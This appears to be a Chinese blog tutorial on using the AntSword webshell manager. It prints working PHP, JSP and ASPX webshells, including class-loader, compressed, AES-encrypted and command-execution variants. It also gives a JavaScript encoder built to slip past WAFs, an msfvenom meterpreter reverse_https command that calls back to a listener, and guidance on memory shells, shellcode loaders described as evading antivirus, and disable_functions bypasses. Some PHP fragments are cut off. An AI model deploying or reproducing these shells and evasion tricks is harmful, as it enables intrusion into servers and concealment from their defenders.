前言
蚁剑是在攻防时常用的webshell管理器,但一直从未真正熟悉过。
webshell
php
在自己编写php一句话木马时,经常用到eval
和assert
这两个关键。需要注意的是
- eval是一个语言构造器,可以传入多个参数,但它本身不能作为变量进行传递。
- assert是一个函数,本身可以作为变量进行传递,但只能传入一个参数。
而这个区别直接影响着蚁剑的使用,
当我们的一句话木马使用assert
函数时,如经过rot13编码后的webshell
蚁剑则需要设置编码方式为base64才可以正常连接。
当我们的一句话木马使用eval
语言构造器时,
"3");
$b=array_keys($a)[0];
eval($b);
?>
蚁剑就可直接连接。
jsp
在经过java类加载的学习之后,也就知道了蚁剑的Webshell。详情参考 Jsp Webshell 免杀-类加载器
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%
try {
class Myloader extends ClassLoader {
Myloader(ClassLoader c) {
super(c);
}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String classStr = request.getParameter("pass");
Myloader myloader = new Myloader(this.getClass().getClassLoader());
byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
Class aClass = myloader.get(bytes);
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
设置
在设置选项里还增加了绕过WAF的一些技巧。如:垃圾数据填充、分块传输
在上传文件的时候开启分块传输可以上传大文件。
还有一处绕过WAF的技巧。
虚拟终端
aslistcmd
列出可使用的命令解释器。
ascmd c:/windows/system32/windowspowershell/v1.0/powershell.exe
指定powershell作为解释器。
编码器
php
除了常见的base64编码方式,还有rot13
、chr16
等编码方式。
以chr16
编码,以rot13
解码。但这种方式在以http协议传输时依然存在eval
关键字且非常容易被WAF拦截。
至少在压缩后base64编码就有一定绕过的效果。
比如 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/zlib_deflated_raw.js
'use strict';
var zlib = require('zlib');
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
//
data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
delete data['_'];
return data;
}
将assert
关键字也进行base64编码。对于的webshell为
这时传输的数据就不存在eval
关键字。
且数据内容base64无法正常解码。
jsp
默认的webshell直接将字节码进行了base64解码。所以手动解码的时候存在java敏感字符。
对于jsp语言的自定义编码器,github 提供了https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_defineclass_zlib_deflated_script.jsp 将body体先压缩再base64编码。
所以对应的webshell也应该先base64解码再解压缩。
<%@page import="java.util.*,java.io.*,java.util.zip.*"%>
<%!
public byte[] decompress(byte[] data) {
byte[] output = new byte[0];
Inflater dc = new Inflater();
dc.reset();
dc.setInput(data);
ByteArrayOutputStream o = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!dc.finished()) {
int i = dc.inflate(buf);
o.write(buf, 0, i);
}
output = o.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
o.close();
} catch (IOException e) {
e.printStackTrace();
}
}
dc.end();
return output;
}
%>
<%
try {
class Myloader extends ClassLoader {
Myloader(ClassLoader c) {
super(c);
}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String classStr = request.getParameter("pass");
Myloader myloader = new Myloader(this.getClass().getClassLoader());
byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
Class aClass = myloader.get(decompress(bytes));
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
经过编码器处理后base64解码就不再有java敏感字符,从而规避流量检测。
aspx
对应aspx语言的网站,蚁剑没有提供更好的编码方式。但github有师傅写出了对于aspx的AES加密编码解码器。
地址: https://github.com/youncyb/AS_ASPX_AES_ENCODE
下载脚本,覆盖 antSword\antSword-2.1.14\source\core 下的aspx脚本,将内置在编码解码中。
对应的webshell为
<%@ Page Language="Jscript"%>
<%
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
aes.Padding = 3;
aes.KeySize = 128;
function B64Decode(b64Str){
var bytes = utf8.GetBytes(b64Str);
var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
return decoded_bytes;
}
function Decrypt(cipherText, aesKey){
var aesKeyBytes = utf8.GetBytes(aesKey);
aes.IV = aesKeyBytes;
var cipherBytes = B64Decode(cipherText);
var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
var res = utf8.GetString(plainBytes);
return res;
}
var data = Request.Item["ant"];
var aesKey = data.substring(0,24);
aesKey = utf8.GetString(B64Decode(aesKey));
var encrypt_res = data.substring(24);
var decrypted = Decrypt(encrypt_res, aesKey);
eval(decrypted,"unsafe");
%>
抓取数据包随机变为
插件
再来看看几款功能性强好用的插件。
As-Exploits 插件
内存马
自定义注册冰蝎、蚁剑、哥斯拉、neo-reGeorg内存马。
从而实现一种蚁剑和冰蝎的丝滑联动。
neo-reGeorg同样可以使用,默认密码:asexploits
当不需要使用时即可在内存马管理模块处指定卸载。
aspx 内存马同样支持,要注意的是在目录后面加一些随机字符串,用.aspx指定的后缀才能解析。(谨慎使用aspx内存马)
注入冰蝎内存马
连接地址为:http://10.211.55.19/bewe2e21e.aspx
shellcode 加载器
- 一种利用第三方库JNA进行ShellCode的加载JNALoader,只需要X86类型的ShellCode即可。
- 一种模拟java agent注入过程来实现Shellcode的加载,免杀效果较好。
以JNALoader为例:
先利用Jar加载器将 ShellCodeLoader.jar 上传到目标服务器目录并exploit加载。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.26 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
然后使用MSF或者CS生成x86类型的shellcode,并开启监听。
在ShellCode加载器的模块中输入hex或者java格式的shellcode,且不能有多余换行跟空格,点击exploit。
metasploit 可正常上线。
cobaltstrike 可正常上线。
as_bypass_php_disable_functions 插件
该插件专门用来突破 disable_functions 执行系统命令,绕过 Open_basedir 等安全机制。
GenShell 插件
该插件用来生成webshell,使用效果也不错。
连接类型
蚁剑还有几个不太常用的连接类型,这里也顺便熟悉一下。
JSPJS 类型
基于 js 引擎实现的 jsp 一句话类型。
对应的webshell为
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
也可以进一步魔改为一行代码
${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("js")["eval"](pageContext.request.getParameter("ant"))}
CUSTORM 类型
用于数据库的JSP自定义脚本。
对应的webshell为
https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_custom_script_for_mysql.jsp
也可以使用github里的编码器来进一步规避特征。
CMDLINUX 类型
该类型是2.1.14版本新增的类型。基于命令执行的一句话类型,仅支持 Linux 环境。
如php的命令执行一句话
如jsp的命令执行一句话
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("");
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
out.print("
");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}
%>
总结
太多的时候只使用了熟悉的几个功能,更多的技巧和插件体验起来也不错。
参考资料
https://github.com/AntSwordProject/antSword/blob/02e7058f8ec1b6f2cb82d56822277e2ff871a012/CHANGELOG.md
https://yzddmr6.com/posts/As-Exploits-v1-4%E6%9B%B4%E6%96%B0/